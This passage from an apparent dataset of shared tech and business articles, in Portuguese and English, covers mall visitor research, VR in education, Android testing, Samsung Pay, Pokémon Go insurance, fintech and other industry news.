reflexo da redução do poder de compra, que faz com que o consumidor busque opções mais baratas de lazer, é o aumento da frequência nos cinemas. O percentual de frequentadores que tem como principal objetivo a ida ao cinema quase dobrou em relação à 2012. Um dado que se mantém constante ao longo dos anos diz respeito à frequência de visita aos shoppings: a média é de sete visitas por mês. Estas visitas são divididas entre dois shoppings em média. ""Provavelmente escolhem o local de acordo com a sua necessidade do momento"", explica Perez. Essa escolha é bastante guiada pelo mix: 36% apontaram questões ligadas à oferta de lojas e serviços como motivação para escolherem aquele shopping. Mais impactante: 72% foram ao shopping em busca de uma loja específica, e aqui o destaque vai para as lojas de departamento. ""7 das 8 lojas mais citadas como motivo da visita eram lojas âncora, confirmando que este tipo de loja possui forte atratividade sobre o consumidor"", menciona o analista . Vale citar ainda, que entre os mais de três mil frequentadores entrevistados, 60% indicaram a proximidade com o empreendimento como razão para frequentarem aquele mall. As compras seguem como principal motivo para ir ao mall, com 37%. Alimentação, 11%, e ""ver vitrines"", 10%, vêm logo em seguida. A pesquisa completa, com todos os recortes por idade e região, é divulgada exclusivamente aos associados da Abrasce, . A pesquisa foi realizada pela GFK com exclusividade para a Abrasce e escutou 3.327 frequentadores na saída dos shoppings entre os dias 09 e 12 de março em 8 cidades: Brasília, Belém, Salvador, Porto Alegre, Belo Horizonte, Rio de Janeiro, Ribeirão Preto e São Paulo.",pt
1469423950,CONTENT SHARED,3582716808949240433,8968131284214320024,6289114354066148610,,,,HTML,https://www.digitalpulse.pwc.com.au/virtual-reality-education/,Can virtual reality revolutionise education?,"Key takeaways Virtual reality's ability to treat, train and educate has been researched for decades. The lowering cost of VR hardware has seen a resurgence in virtual reality development. VR has the opportunity to provide scalable experiential training that may transform how we teach and learn. There was a scene in the 1999 cyberpunk blockbuster film The Matrix that predicted a future technology with eerie accuracy. No, it wasn't the ability to dodge bullets in slow-motion. The moment in question involved the main character, Neo, learning hand-to-hand combat. Instead of spending half a lifetime rigorously training under the tutelage of a master, Neo was able to acquire several different martial art disciplines within hours. All that was required were some computer discs, a sewer-dwelling spaceship from the year 2199, and the existence of - and the ability to hack into - a mind-bogglingly sophisticated virtual world run by killer robots. Of course, much of this future scenario will probably remain confined to the world of science fiction (we hope). But the film's prediction that virtual reality (VR) will help us learn or train with speed and efficiency proved prescient. With the consumer editions of VR hardware such as Oculus Rift and HTC Vive reaching public release this year, and a whole slew of startups developing learning-focused VR content platforms, the race is on to transform the worlds of education and training. A crash course in virtual reality training Virtual reality's immersive qualities have been researched for decades. In the mid-1990s, several years before The Matrix was released, controlled studies were conducted to test VR's effectiveness as a form of exposure therapy - which enables sufferers to confront the object of their fear in a controlled environment - treating conditions such as acrophobia, a fear of heights. While the results were very promising, broadly waning consumer interest in the technology at the time saw it largely fall out of the public eye. That all changed in the last few years. Reignited interest in VR as a mainstream consumer product has simultaneously rejuvenated the prospect of the technology as an effective way to deliver education and training. Examples of sectors where VR-based training initiatives have been developed include combat simulation in the military, surgery procedures in medicine, safety modules in the mining industry, and as a 'contact-free' training program for American football players recovering from injury. On the education side, Google recently launched Expeditions , a tool that builds on the company's Cardboard platform to provide children with a 'field trip' experience from the classroom. Google Cardboard opens up VR to anyone with a smartphone and a pair of scissors. To try the platform, users simply order a cardboard headset (or build their own), insert a smartphone into the display slot and pair it with the Google's Cardboard VR app. Elsewhere, environmental groups experimenting with VR have reported audiences becoming much more engaged on environmental topics such as ocean acidification, deforestation and energy conservation. Injecting VR into medical procedures Much of the marketing for these training-focused VR platforms draws on a commonly accepted principle that experiential training is more effective, and the information retained for a much longer period than more traditional methods, such as listening to a lesson and taking notes, reading a textbook, participating in a group discussion or watching a video presentation. For example, in a Fortune magazine story announcing that a US children's hospital was using VR to train medical personnel, the healthcare system's CEO, Narendra Kini, said that up to 80% of VR-taught information could be retained a full year after training, whereas traditional methods saw only 20% of information retained after a week. According to Kini, the sensory input from VR had the effect of creating new memories in trainees, familiarising them as if they had performed the procedure before. Experiential training, and VR's ability to unlock it, recalls a ( hotly debated ) diagram called the Cone of Experience or the Pyramid of Learning. Developed in the 1960s by American education theorist Edgar Dale, it ranks the various ways of teaching by their efficacy, with lectures and text-reading deemed the least effective methods and pure experience of the subject itself considered the most effective. Framed in this manner, VR shows great promise. Regardless of whether or not a hierarchy of teaching techniques exists, ranking systems of learning in such a manner omits a crucial underlying issue with educating the masses: scale. Lectures and text readings - with their ability to be either mind-expanding or mind-numbing for students and teachers alike - have survived as long as they have because of their ability to convey a sizable amount of information to a large audience at manageable costs. Recent digital initiatives have improved this economy of scale even further, digitising course learning and distributing it cheaply online. But the resources deployed, and the core teaching experience, can often remain largely unchanged. In this context, the emerging ecosystem of VR consumer hardware is very exciting. By bringing down its own barriers to entry, VR is unlocking a whole new tranche of experiential training methods, allowing it to be developed, refined and distributed in a highly scalable fashion. Learning life's lessons It remains to be seen if VR can match or outperform traditional techniques in the education space. But recent projects and experiments show things are certainly moving in the right direction. What's more, if VR-boosted teaching does allow us to learn faster and more effectively, many other wider benefits could be realised, including shorter course durations, streamlined curriculums and structural cost savings. More broadly, the ability for workforces to be retrained and redeployed faster could see more nimble adaptations to changing labour markets and skill shortages. Perhaps a real-life version of The Matrix wouldn't be so bad after all...",en
1469456882,CONTENT SHARED,1567984561327445971,-4465926797008424436,-3498187659449117655,,,,HTML,https://medium.com/android-dev-br/testes-unit%C3%A1rios-vs-aceita%C3%A7%C3%A3o-30691fc8578d,Testes unitários vs aceitação - Android Dev BR,"Testes unitários vs aceitação Constantemente recebo perguntas como: Sicarelli, o que devo testar unitariamente ou não, no Android? ou até Devo gastar meu tempo fazendo testes de aceitação ou devo apenas focar nos unitários? Antes de responder essas perguntas e outras que você possa ter, vamos entender melhor o contexto de teste no Android. Linha do tempo Todos os testes no Android são baseados no JUnit . De modo geral, um teste em JUnit é um método, anotado, que contém sentenças que testam (ou provam) partes da sua aplicação. Você organiza seus métodos de testes em classes chamadas test cases , ou até mesmo organizar seus testes usando alguns suítes. No JUnit , você constrói uma ou mais classes e usa algum test runner para executá-los. Esses test runners , são processadores de teste que nos ajudam (lê-se fazem tudo por nós) a instanciar nossos testes em tempo de execução, na execução do próprio teste e a geração de relatórios de resultados. Esses processadores são anotados com o famoso no início do seu test case . Mas, há muitos anos, todos nós constantemente monitorávamos em qual estado andava os testes no Android, tentando descobrir uma maneira fácil e integrada de se testar. Isso por que, até alguns anos atrás, a única forma suportada de rodar testes era executando-os em alguma Dalvik VM , seja em um device ou emulador . As ramificações que isso causava fazia seus testes unitários (que devem ser leves e executados rapidamente) demorarem bastante por depender da demora de ""subir"" um emulador, o que é a única opção quando se fala de um ambiente com CI. Mesmo se você tivesse a audácia de configurar e deixar pronto um AVD, ainda era necessário fazer mais mágica para exportar seus relatórios em XML do JUnit de dentro do emulador. Um pé no saco, né? Para nossa sorte, isso era solucionado pelo Roboletric , que basicamente move a execução dos seus testes da Dalvik para uma JVM qualquer, e isso resolve lindamente a sua dependência com algum device/emulador e dos XML's de resultados, tornando realidade um CI em seu projeto. Porém, isso era uma pequena dor de cabeça, obrigando te dar a volta ao mundo para retirar isso da teoria e bota-la em prática. Mas, graças ao time de Android Tools e para a nossa alegria, o Android Studio 1.2 removeu qualquer workaround ou hack para utilizar o Roboletric . Essa solução foi introduzida na versão 1.1 , que tinha uma flag experimental para habilitar testes unitários, e na versão 1.2 essa flag não era mais experimental. Como funciona? Basicamente , o plugin do Gradle irá compilar todo código fonte encontrado no caminho src/test/java e irá executá-lo usando os mecanismos de teste do próprio Gradle . Em tempo de execução, os testes serão executados encima de uma versão modificada (reduzida) do android.jar , onde todos os modificadores finais foram retirados, o que significa a possibilidade de usar bibliotecas de mocking , como nosso querido Mockito . Tipos de teste Tudo bem, entendemos qual foi a trajetória dos testes no Android, mas a pergunta ainda continua: o que devo testar unitariamente? Teste unitário Um teste unitário testa uma pequena unidade de uma funcionalidade, geralmente um método ou uma função (dado uma classe com um estado particular, chamando o método X dessa classe, Y deve acontecer). Eles devem ser focados em uma funcionalidade em particular (quando chamar o método de popular informações na tela, e os dados estiverem vazios, deve ser lançado alguma exceção). Idealmente, todos os testes devem ser executados na memória, o que significa que seu teste e o código que você está testando não devem realizar: Chamadas externas para colaboradores (bibliotecas) Acesso a rede Bater em algum banco de dados Usar arquitos de sistemas Rodar uma thread etc. Qualquer tipo de dependência que deixe devagar/difícil de entender/ inicializa/manipula seus testes deve estar devidamente tratado através de stubs e mocks utilizando as técnicas apropriadas para que você foque no que a unidade do seu código está fazendo, não no que sua unidade está dependendo. Em suma, os testes unitários são os mais simples possíveis, faceis de debuggar , de confiança (devido a fatores externos reduzidos), rápido para executar e ajuda a provar que mesmo a menor parte do seu código/funcionalidade está funcionando como planejado antes que sejam integradas . A grande questão é que, embora você possa provar que eles funcionam perfeitamente isoladas, as unidades de código podem ""explodir"" quando combinados, o que nos leva a... Teste de integração Os testes de integração tem como foco juntar/combinar as unidades do seu código e testar se o resultado dessa combinação funciona corretamente, seja em um só sistema ou a combinação de vários outros. Além disso, outra coisa que diferencia os testes de integração de testes unitários é o ambiente. Testes de integração podem e irão usar threads , acessar o banco de dados ou fazer o que for necessário para garantir que todo o código e as diferentes alterações de ambiente irão funcionar corretamente. A principal vantagem é que eles irão encontrar bugs que os testes unitários não foram capazes de encontrar. Porém, a principal desvantagem é que os testes de integração ""tocam"" em mais código, são menos confiáveis, os testes falhados são mais difíceis de se diagnosticar e os testes são mais difíceis de manter. Também, testes de integração não necessariamente prova que sua funcionalidade funciona por completo. Talvez o usuário não se importe com os detalhes internos da sua aplicação, o que nos leva a... Testes funcionais Testes funcionais verificam uma característica particular comparando com os resultados para uma determinada entrada contra a especificação (esperado). Testes funcionais não se preocupam com os resultados intermediários ou efeitos colaterais, apenas o resultado final (eles não se importam que depois de fazer x , y objeto tem estado z ). Eles são escritos para testar parte da especificação, tais como, ""chamando a função calcula(x) com o argumento 2 , retorne 4"". Mas, em nosso mundo, testar se a funcionalidade funciona dessa maneira não garante que a experiência do usuário dentro do sistema está garantida, o que nos leva a... Testes de aceitação Um teste de aceitação padrão envolve a execução de testes em todo o sistema para garantir se a funcionalidade da aplicação satisfaz a especificação. Por exemplo. ""Clicando no botão de login, deverá mostrar um progresso na tela sumir quando o login for completado"". Não há continuidade real dos resultados, basta uma aprovação ou reprovação resultado. A vantagem é que os testes são escritos em uma ""língua"" ou contexto (dado situação X deve acontecer Y ) e garante que o software, como um todo, tem suas funcionalidades feitas e completas. A desvantagem é (como talvez vocês já tenham percebido) que, conforme seu teste move de uma camada para outra, ""toca"" em mais código e rastrear um erro no meio disso tudo pode ser muito difícil. Por exemplo, uma funcionalidade falha em 1% das vezes. Achar o motivo que causa esse 1% de erro pode ser muito difícil (ou até impossível) o que nos força a gastar horas e horas investigando o problema. Um conjunto de testes de aceitação é basicamente uma especificação executável escrito em uma linguagem específica que descreve os testes na linguagem utilizada pelos usuários do sistema. No caso do Android, um teste de aceitação requer o próprio Android, ou seja: você precisa de um device para provar que seu aplicativo está funcionando como esperado. Isso implica algo que comentei no início do post: seus testes irão demorar mais por toda essa dependência que você vai ter. Mas, qual devo utilizar? Aqui está a parte delicada. Por um lado, temos o teste unitário: rápido, dedicado a pequenas partes do seu código que garantem a funcionalidade individual dos seus componentes, possibilitando de maneira fácil e rápida identificar um bug específico, te dizendo o comportamento esperado e mostrando qual foi a falha. Porém, requer toneladas de testes e outra tonelada de mocks (sabendo que é difícil você não ter dependência do Android em algum método. Um mock do context já vira o DNA do seu teste) e, no caso de aplicativos para celular, temos casos de uso muito específicos que precisam garantir uma experiência agradável para todos os usuários de todos os telefones. Por outro, temos os testes de aceitação, que junto com o Espresso , garantem que sua funcionalidade será aprovada pelo usuário. Você irá cobrir muito mais partes do seu sistema evitando crashs específicos de plataforma e não precisando se preocupar em mockar muita coisa (tendo em vista que roda encima de algum device/emulador). Mas, quando acontece um erro, vai ficar muito difícil responder a pergunta: por que esse erro aconteceu? Conclusão Idealmente, quanto menos regras de negócio seu aplicativo ter ( unitários ), mais tempo você irá ter para testar casos de uso e garantir uma experiência limpa e fluida no seu aplicativo ( aceitação ). Pense em um cenário onde você tenha diversos clientes (Android, iOS ou até Windows Phone) e sua regra de negocio não esteja centralizada. Por exemplo: a exibição da data para o usuário final deve ser a mesma na plataforma, e cada plataforma vai ter um jeito diferente de tratar essa data, criando código de formatação e consequentemente criando testes unitários para garantir que independente do formato que a data vir do servidor, o sistema irá conseguir formatar de acordo com a requisição. Percebe que você pode evitar isso já retornando a data formatada do servidor que, por sua vez ,já tem um (e em só um lugar) teste unitário criado para garantir isso? Se falarmos das vantagens que temos possuindo as regras de negócios centralizadas em um só lugar, daria um belíssimo e extenso post. Mas, só com esse exemplo você provavelmente conseguiu entender que, em nossa realidade, é muito mais vantajoso criarmos mais testes de aceitação do que unitários, o que significa que nosso código está com poucas regras de negócios, assim podemos focar mais em entregar uma aplicação solida em qualquer device. Então, mão na massa e bora testar!",pt
1469459147,CONTENT SHARED,-1763986443823721481,-6316613156648676087,-3995362029010292230,,,,HTML,http://g1.globo.com/tecnologia/noticia/2016/02/samsung-se-alia-bancos-para-lancar-pagamento-por-celular-no-brasil.html,Samsung se alia a bancos para lançar pagamento por celular no Brasil,"A Samsung fechou acordo com grandes bancos e empresas de cartão de crédito para lançar seu sistema digital de pagamento no Brasil no fim de 2016. A lista é formada por Banco do Brasil, Bradesco, Brasil Pré-Pagos, Caixa, Itaú Unibanco, Nu Bank e Porto Seguro, informou a empresa neste domingo (21), durante o Mobile World Congress (MWC), em Barcelona, na Espanha. O Samsung Pay também será compatível com grandes redes de pagamento, como American Express, China UnionPay, MasterCard e Visa. Outros grandes bancos atuam no Brasil também fecharam parceria, como o Santander. Lançado em agosto de 2015 , o sistema está em operação até agora na Coreia do Sul e nos Estados Unidos. Nos seis primeiros meses de operação da tecnologia, os cerca de cinco milhões de usuários registrados fizeram transações que movimentaram US$ 500 milhões. Em março, o sistema estreará na China. A expansão para o Brasil será a próxima, juntamente para a Austrália, Singapura, Espanha e Reino Unido. O Samsung Pay deve ser o meio de pagamento digital a desembarcar primeiro no Brasil, antes das plataformas rivais de Google e Apple, que ainda não anunciaram uma data de lançamento. Compatível com os aparelhos Galaxy S6, S6 edge, S6 edge+, A5 e A7 (edições de 2016), e Note 5, o Samsung Pay também é um dos trunfos dos novos smartphones Galaxy S7 e Galaxy S7 edge . No Brasil, o Galaxy S6 e o S6 edge não serão compatíveis. O sistema de pagamento funciona assim: o usuário pode cadastrar cartões de crédito e de débito; no ato da compra, graças à tecnologia NFC (Near Field Communication), basta aproximar o celular de terminais de compra; para autenticar a transação, é preciso inserir a impressão digital, além de outros três níveis de segurança. O Samsung Pay também funciona com a Transmissão Magnética Segura (MST, na sigla em inglês) para atender os terminais de pagamento que ainda não possuem NFC. Segundo a Samsung, esse é um dos diferenciais de seu sistema. O Samsung Pay também é compatível com cartões de transporte, como o Bilhete Único de São Paulo, cupons e cartões associados. Na Coreia do Sul, a modalidade para o transporte público já funciona.",pt
1469460909,CONTENT SHARED,-559964548932224920,-6895155480127642372,909304340885309843,,,,HTML,http://jeffsegurosonline.blogspot.com.br/2016/07/seguros-e-games.html,Jeff Seguros: SEGUROS E GAMES,"LANÇADO em apenas três países até agora, já virou fenômeno mundial. Aguardado com enorme expectativa, o Pokémon Go, novíssima versão para celular do videogame criado há vinte anos pela Nintendo, chegou na quarta-feira 6 aos Estados Unidos, à Austrália e à Nova Zelândia. Horas depois, só se falava nele. Ainda não há dados oficiais, mas, segundo sites especializados, somente nos Estados Unidos foram 21 milhões de usuários diários, 1 milhão a mais que os do campeoníssimo Candy Crush. Baixar e jogar é gratuito, porém apetrechos para ganhar pontos na brincadeira custam dinheiro. Daí que já se fala em mais de 14 milhões de dólares gastos nas lojas de aplicativos, o que faz do jogo um dos mais lucrativos de todos os tempos. No dia 13, desembarcou na Alemanha! Um resumo para os que não estão entendendo nada: Pokémon Go é um videogame que usa recursos da chamada realidade aumentada para situar os simpáticos bichinhos, os mesmos de vinte anos atrás, em cenários de verdade. É muito legal, é só apontar a câmera do celular para algum lugar real como a mesa do computador, a sala, calçada, o parque, onde você estiver - e lá se encontra um dos bichinhos. A graça é ""caçá-los"", com a ajuda dos tais apetrechos que custam dinheiro, claro). O sucesso foi tão estrondoso que, ainda mesmo restrito aos países que mencionamos, usuários de outras regiões conseguiram instalá-lo em versões piratas e fizeram apelo para que a versão oficial não demorasse a chegar. Foi até o caso do prefeito do Rio de Janeiro, Eduardo Paes. Isso porque a brincadeira incentiva os fãs a saírem pelas cidades em busca de Pokémons virtuais que, olhando pela tela do celular, aparecem em cenários reais. É provável que boa parte do sucesso do Pokémon Go seja pelo fato de ele transitar entre o mundo da fantasia e o mundo real. Não que a ideia seja nova. Mas pegou como nunca. Aí você me pergunta: e o seguro? Calma, vamos chegar lá! Desde o dia 10, as ruas dos três países onde o aplicativo está disponível se encheram de jogadores - treinadores, no jargão dos entendidos - com olhar fixo no telefone, estimulados a sair de casa na captura dos personagens. O fenômeno atingiu uma tal dimensão que despertou interesse até de larápios que viram nele uma oportunidade de se dar bem. Em uma cidade do estado americano do Missouri, quatro ladrões usaram o jogo para atrair jovens a locais ermos e roubá-los. ""Se você está na rua de madrugada, levante a cabeça e olhe para onde vai"", recomendou a polícia. Em alguns lugares, a caça terminou mal. Uma menina do Wyoming, no Oeste americano, seguindo a pista dos bichinhos, deparou com um cadáver à beira de um rio. Em outros, a brincadeira foi tão longe que chegou a perder a graça - um Pokémon que libera gás venenoso foi localizado no Museu do Holocausto, em Washington. A instituição pediu para ser removida das opções de cenário.Como o jogo é o jogo das cifras milionárias, A seguradora portuguesa Tranquilidade, anunciou o lançamento de um produto, o ""AP GO"", um seguro de acidentes pessoais para cobrir os riscos que os caçadores de Pokémons enfrentam como os ja citados. O jogo Pokémon Go da Nintendo é um sucesso em escala mundial. Só em Portugal mais de um milhão de pessoas baixaram o jogo e por isso, na quinta-feira, 21 de Julho, a tranquilidade anunciou o produto. A seguradora, em comunicado, explica que vai oferecer ""um seguro de acidentes pessoais para caçadores de Pokémons, ou outros jogos de realidade aumentada, a quem contratar um novo seguro. O cliente pode aproveitar a oferta para ele ou ou indicar algum familiar"". A oferta está disponível até 15 de Agosto e o seguro é válido até final do ano. ""O seguro 'AP GO' está desenhado para cobrir os danos sofridos pelos jogadores durante a prática"" do jogo, garante a seguradora. No referido comunicado, a Tranquilidade reclama para si o estutato de ""primeira seguradora na Europa a lançar um produto que garante os riscos associados à prática de jogos com o Pokémon Go, criando uma solução pensada exclusivamente para esta nova realidade"". Acho a ideia ótima, afinal, por todo o mundo têm sido relatados acidentes envolvendo caçadores de Pokémons, parabéns a seguradora que enxergou a oportunidade de ganhar dinheiro e proporcionar segurança aos jogadores. Aqui no Brasil, aguardamos o jogo e iniciativas semelhantes. E você? Ja ouviu falar do jogo? O que acha? Texto escrito com inspiração em textos da revista Veja e Isto É desta semana.. Para saber mais sobre acidentes pessoais, clique",pt
1469464612,CONTENT SHARED,8089766674179723607,3938645257702379823,-2144824446509891978,,,,HTML,http://m.info.adobesystems.com/nl/jsp/m.jsp?c=%40jZvIhMrLibEq1WKZd8PSY4dX5FVvb7t3KfsxCkM0khs%3D,Adobe Solution Partner Program News,"We've put together a guide that will help you navigate enablement opportunities and expansive training options so you can build a successful Adobe practice. The new Enablement 101 Overview is centered on three main topics: Training, Certification and Specialization. Learn more, download the overview, and get started on your learning path today!",en
1469468070,CONTENT SHARED,7609069906483592026,-1836083230511905974,4275298853971132173,,,,HTML,https://medium.freecodecamp.com/face-centering-android-library-build-on-top-of-google-vision-api-f88661b97959?gi=ab1d5c18d205,Face centering Android library build on top of Google Vision API - Free Code Camp,"Face centering Android library build on top of Google Vision API In our Android apps, when we crop photos to display them, we often encounter the problem of positioning faces properly. This inspired me to create a tool that will locate faces and in an image (if there are any) and center the cropped image around them. Here's how I did it. I started with Face Detection API of Google's mobile vision. This API provides: Face detection (not face recognition) Face tracking (extends face detection to video sequences) A landmark  - a point of interest within a face (like eyes, nose, etc) Classification of a face to determine if the face is smiling, eyes are open or closed, and other features Since I just wanted the position of the face, I only used the face detection component. To start with that, I created the face detector: Now given a bitmap, I created a frame instance from the bitmap to supply to the detector: Now, I tried to detect faces synchronously in the frame: Once I got faces, I chose one face (for now) to crop the image around, keeping that face in the center. Now to begin cropping the image: I created a scaled new bitmap to fit the target view (ImageView). I then recalculated the position of the face in the new bitmap. Keeping the face in the center, I cropped the original bitmap to get a new bitmap. If no face is detected, then I fallback to CENTER CROP. You can find the full code in my GitHub repositories below. Here are some results of it: I finally exported this as a library, which you can find below. For Picasso : I am planning to release it for Fresco too. Feel free to make use of this tool, and help me improve it over on GitHub. If you enjoyed reading this article, it would mean a lot if you recommend it using the ❤ icon and share with your colleagues and friends. Thanks!",en
1469469603,CONTENT SHARED,-2447632164766022033,881856221521045800,-1412399050403999340,,,,HTML,https://tecnoblog.net/198814/github-estereotipos-programadores/,O que o GitHub tem a nos dizer sobre os estereótipos entre programadores | Tecnoblog,"O ser humano possui uma característica, talvez de ordem evolutiva, que nos torna em verdadeiras máquinas de classificação e padronização. Sentimos constantemente o impulso de agrupar e rotular qualquer coisa que pareça semelhante entre si, seja para nos igualarmos, seja para nos distinguirmos. No mundo da tecnologia, e cultura pop, isso não seria diferente. Seja num nível mais abrangente, com frases sem sentido como ""quem gosta de não conhece nada de computador"", ""quem joga RPG é virgem"" ou ""engenharia não é área para mulheres"", como em camadas bem mais específicas, a exemplo de estereótipos que ditam que Swift é coisa de hipster, C++ é uma linguagem de programação para velhos ou que ninguém de fato gosta de codificar em Java. Foi pensando nisso que um engenheiro de computação chamado Jeff Allen, do Trestle Tech , resolveu tirar isso a limpo usando ferramentas de estatística e linguagem R para cruzar informações pessoais de um pequeno número de homens e mulheres, todos com certo renome em suas áreas e linguagens de programação, e o que existe em seus repositórios no GitHub. Aliado a isso, ele usou o API Face , do sistema cognitivo de reconhecimento de faces da , para avaliar e classificar as fotos dessas pessoas. Como o site R-bloggers deixa claro, não podemos dizer que esse é um processo lá muito científico. Além disso, por questões de performance, Jeff restringiu seu estudo às seguintes linguagens: E ele chegou a alguns resultados bem curiosos. Por exemplo, esta é a distribuição de linguagens de programação entre as mulheres, com maior número de programadoras em JavaScript e R, e bem menos em C++, Java e Python: Ainda assim, quando a gente compara ao número de homens que programam, ou ao menos ao que o Face API identificou como homem, essa distribuição se torna bem disforme: É importante citar aqui que o processo envolve um conceito de gênero simplificado por limitações computacionais, que por ora avalia somente feições estéticas e não de identidade. Fica aí uma dica de evolução para o futuro dessa API. Mas voltando, vamos falar de uma distribuição estatística mediana em relação à idade dessas pessoas e a linguagem de programação que elas trabalham: E quais são as linguagens de programação que deixam os profissionais mais felizes? Para saber isso ao certo, somente com um estudo muito mais completo, mas Jeff resolveu analisar de uma forma mais poética: sorrisos! E essa coisa de que hipsters barbudos preferem programar em Swift, seria verdade? Veja bem... E já que chegamos nesse nível de maluquice, por que não cruzar tipos de linguagem de programação por bigodes e costeletas? Conclusão Se você for participar de um projeto em C++, deixe seu bigode crescer. Mentira. Na verdade, o cara precisaria de uma amostragem muito maior para que esse estudo tivesse o mínimo de precisão com relação a comunidade de programadores, e a Face API precisaria ser melhor ajustada para avaliar essas nuances de gênero, personalidade e identidade. Mas foi uma abordagem extremamente interessante do ponto de vista de análise de dados. Para quem se interessa por esse tipo de assunto e quiser ver a fundo como as consultas foram realizadas, Jeff disponibilizou o código-fonte, claro, em seu perfil no GitHub - note que você precisará de uma chave do Azure para a API da Microsoft.",pt
1469472029,CONTENT SHARED,91241469839881699,-1352064057049251194,-2574601636997465698,,,,HTML,http://www.bitmag.com.br/2016/07/nova-versao-do-sap-hybris-commerce-vai-ser-apresentada-durante-forum-ecommerce-brasil/,Nova versão do SAP Hybris Commerce vai ser apresentada durante o Forum E-Commerce Brasil 2016 - B!T magazine,"A SAP anunciou que vai aproveitar a oportunidade para apresentar no estande a nova versão do SAP Hybris Commerce , que, de acordo com a empresa, vai tornar ainda mais simples a experiência de compra dos clientes de empresas de e-commerce. A nova versão do SAP Hybris Commerce se concentra na necessidade das marcas de unificar os dados dos clientes e processos, integrando o comércio às demais aplicações de linha de frente, como atendimento, vendas, marketing e faturamento. Um dos destaques vai para o novo SAP Hybris Customer Experience que foi redesenhado para gestão de conteúdo com uma nova interface que permite aos profissionais de marketing gerenciar o conteúdo em todos os canais, usando uma única ferramenta. Outra novidade da ferramenta é o mecanismo de promoções que está mais flexível e fácil de ampliar, que permite aos usuários da área de negócios criar e implantar promoções dinâmicas, sem o envolvimento do departamento de TI. A solução terá, também, uma nova interface que inclui todos os recursos que os agentes de atendimento ao cliente e de vendas precisam para prestar serviços de suporte e vendas em todos os pontos de contato. ""Com o SAP Hybris Commerce, estamos proporcionando uma experiência diferenciada de compra em várias plataformas, reunindo interações físicas e digitais com os clientes nos canais online, móvel, ponto de venda físico, call center, mídias sociais e impresso"", afirmou em nota à imprensa Rodrigo Marcondes, vice-presidente de vendas de soluções de Relacionamento com Cliente e Comércio da SAP Brasil . O executivo referiu ainda que a solução pode ser implantada de forma rápida, seja localmente, em uma nuvem privada ou ainda no modelo software como serviço. Durante o evento, a SAP Hybris vai também vai promover sessões de conteúdo sobre temas específicos para E-Commerce, Vendas e Marketing.",pt
1469472150,CONTENT SHARED,9121100366909552616,-1352064057049251194,-2574601636997465698,,,,HTML,http://idgnow.com.br/internet/2016/07/25/vtex-expande-parceria-com-safetypay-para-oferecer-pagamento-via-lotericas/,VTEX expande parceria com SafetyPay para oferecer pagamento via lotéricas - IDG Now!,"A VTEX, empresa brasileira especializada em tecnologia para e-commerce, anunciou um novo acordo com a empresa de soluções para transações em tempo real, SafetyPay, para oferecer aos consumidores online a possibilidade de pagar suas compras via casas lotéricas. Dessa forma, consumidores que pertencem à parcela de 55 milhões de adultos (40% da população economicamente ativa do Brasil) que não possui conta bancária, segundo dados da Febraban (Federação Brasileira dos Bancos), poderão ter acesso aos benefícios do comércio eletrônico. A solução via lotérica, segundo as empresas, permite uma operação conveniente, simples e segura e beneficia consumidores e lojistas. Os consumidores poderão utilizar as mais de 13 mil casas lotéricas espalhadas pelo país, além das agências da Caixa Econômica Federal, para pagar em dinheiro os produtos adquiridos pelo comércio eletrônico. O serviço também dispensa a emissão e impressão de boletos. Com a solução da SafetyPay, no momento em que o consumidor concluir o pagamento na lotérica, a loja é imediatamente comunicada e pode liberar a mercadoria para o cliente. ""Nosso foco é contribuir para aumentar o volume de negócios de nossos parceiros, sua base de consumidores e a conversão. A opção de pagamento em lotéricas é uma excelente alternativa ao boleto bancário, já que nossa confirmação é em tempo real e no momento do pagamento. Tudo isso se traduz em mais vendas, menos alocação de estoques e melhores margens operacionais para os lojistas"", afirma Luiz Antonio Sacco, Diretor-Presidente da SafetyPay para América Latina.",pt
1469474750,CONTENT SHARED,-3095494965842381869,1895326251577378793,-5606268697037556310,,,,HTML,http://www.mckinsey.com/industries/financial-services/our-insights/fintechs-can-help-incumbents-not-just-disrupt-them,"Fintechs can help incumbents, not just disrupt them","While true for other financial services, it's most striking in corporate and investment banking. Fintechs, the name given to start-ups and more-established companies using technology to make financial services more effective and efficient, have lit up the global banking landscape over the past three to four years. But whereas much market and media commentary has emphasized the threat to established banking models, the opportunities for incumbent organizations to develop new partnerships aimed at better cost control, capital allocation, and customer acquisition are growing. We estimate that a substantial majority-almost three-fourths-of fintechs focus on retail banking, lending, wealth management, and payment systems for small and medium-size enterprises (SMEs). In many of these areas, start-ups have sought to target the end customer directly, bypassing traditional banks and deepening an impression that they are disrupting a sector ripe for innovation. However, our most recent analysis suggests that the structure of the fintech industry is changing and that a new spirit of cooperation between fintechs and incumbents is developing. We examined more than 3,000 companies in the McKinsey Panorama FinTech database and found that the share of fintechs with B2B offerings has increased, from 34 percent of those launched in 2011 to 47 percent of last year's start-ups. (These companies may maintain B2C products as well.) B2B fintechs partner with, and provide services to, established banks that continue to own the relationship with the end customer. Corporate and investment banking is different. The trend toward B2B is most pronounced in corporate and investment banking (CIB), which accounts for 15 percent of all fintech activity across markets. According to our data, as many as two-thirds of CIB fintechs are providing B2B products and services. Only 21 percent are seeking to disintermediate the client relationship, for example, by offering treasury services to corporate-banking clients. And less than 12 percent are truly trying to disrupt existing business models, with sophisticated systems based on blockchain (encrypted) transactions technology, for instance (exhibit). Assets and relationships matter. It's not surprising that in CIB the nature of the interactions between banks and fintechs should be more cooperative than competitive. This segment of the banking industry, after all, is heavily regulated. Clients typically are sophisticated and demanding, while the businesses are either relationship and trust based (as is the case in M&A, debt, or equity investment banking), capital intensive (for example, in fixed-income trading), or require highly specialized knowledge (demanded in areas such as structured finance or complex derivatives). Lacking these high-level skills and assets, it's little wonder that most fintechs focus on the retail and SME segments, while those that choose corporate and investment banking enter into partnerships that provide specific solutions with long-standing giants in the sector that own the technology infrastructure and client relationships. These CIB enablers, as we call them, dedicated to improving one or more elements of the banking value chain, have also been capturing most of the funding. In fact, they accounted for 69 percent of all capital raised by CIB-focused fintechs over the past decade. Staying ahead. None of this means that CIB players can let their guard down. New areas of fintech innovation are emerging, such as multidealer platforms that target sell-side businesses with lower fees. Fintechs also are making incursions into custody and settlement services and transaction banking. Acting as aggregators, these types of start-ups focus on providing simplicity and transparency to end customers, similar to the way price-comparison sites work in online retail. Incumbent banks could partner with these players, but the nature of the offerings of such start-ups would likely lead to lower margins and revenues. In general, wholesale banks that are willing to adapt can capture a range of new benefits. Fintech innovations can help them in many aspects of their operations, from improved costs and better capital allocation to greater revenue generation. And while the threat to their business models remains real, the core strategic challenge is to choose the right fintech partners. There is a bewildering number of players, and cooperating can be complex (and costly) as CIB players test new concepts and match their in-house technical capabilities with the solutions offered by external providers. Successful incumbents will need to 